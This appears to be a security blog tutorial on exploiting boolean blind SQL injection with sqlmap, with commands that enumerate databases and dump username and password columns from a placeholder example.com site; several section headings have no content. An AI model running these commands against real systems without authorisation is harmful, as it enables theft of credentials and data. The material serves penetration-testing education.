Blog | G5 Cyber Security

SQLi: Boolean Blind with sqlmap

TL;DR

This guide shows how to exploit a boolean blind SQL injection vulnerability using the sqlmap tool. We’ll cover identifying the vulnerability, setting up sqlmap for testing, and extracting data.

1. Understanding Boolean Blind SQL Injection

Boolean blind SQL injection happens when you can send queries to a web application, but only get a ‘true’ or ‘false’ response back – usually reflected in the page content changing or not. There’s no direct error message or data returned. This makes it harder to exploit than regular SQLi.

2. Identifying a Potential Vulnerability

Look for parameters in URLs that seem to affect database behaviour. Try adding single quotes (‘) to these parameters and see if the response changes. If it does, you might have an injection point. For example:

https://example.com/page?id=1

Try:

https://example.com/page?id=1'

If the page behaves differently, it suggests SQLi is possible.

3. Setting up sqlmap

4. Running sqlmap

Let’s assume our vulnerable URL is https://example.com/page?id=1.

  1. Initial Scan: Start a basic scan to identify the injection point and database type:
  2. sqlmap -u "https://example.com/page?id=1" --dbs

    sqlmap will automatically try different payloads.

  3. Specifying the Injection Point (if needed): If sqlmap doesn’t detect the parameter, use -p <parameter>. For example:
    sqlmap -u "https://example.com/page?id=1" -p id --dbs
  4. Database Enumeration: The --dbs option lists the available databases.
  5. Table Enumeration: Once you know a database name (e.g., ‘users’), list its tables:
  6. sqlmap -u "https://example.com/page?id=1" -D users --tables
  7. Column Enumeration: To see the columns in a table (e.g., ‘accounts’):
  8. sqlmap -u "https://example.com/page?id=1" -D users -T accounts --columns
  9. Data Dumping: Finally, dump the data from specific columns:
  10. sqlmap -u "https://example.com/page?id=1" -D users -T accounts -C username,password --dump

5. Dealing with Boolean Blind Injection Specifically

6. Important Considerations

Exit mobile version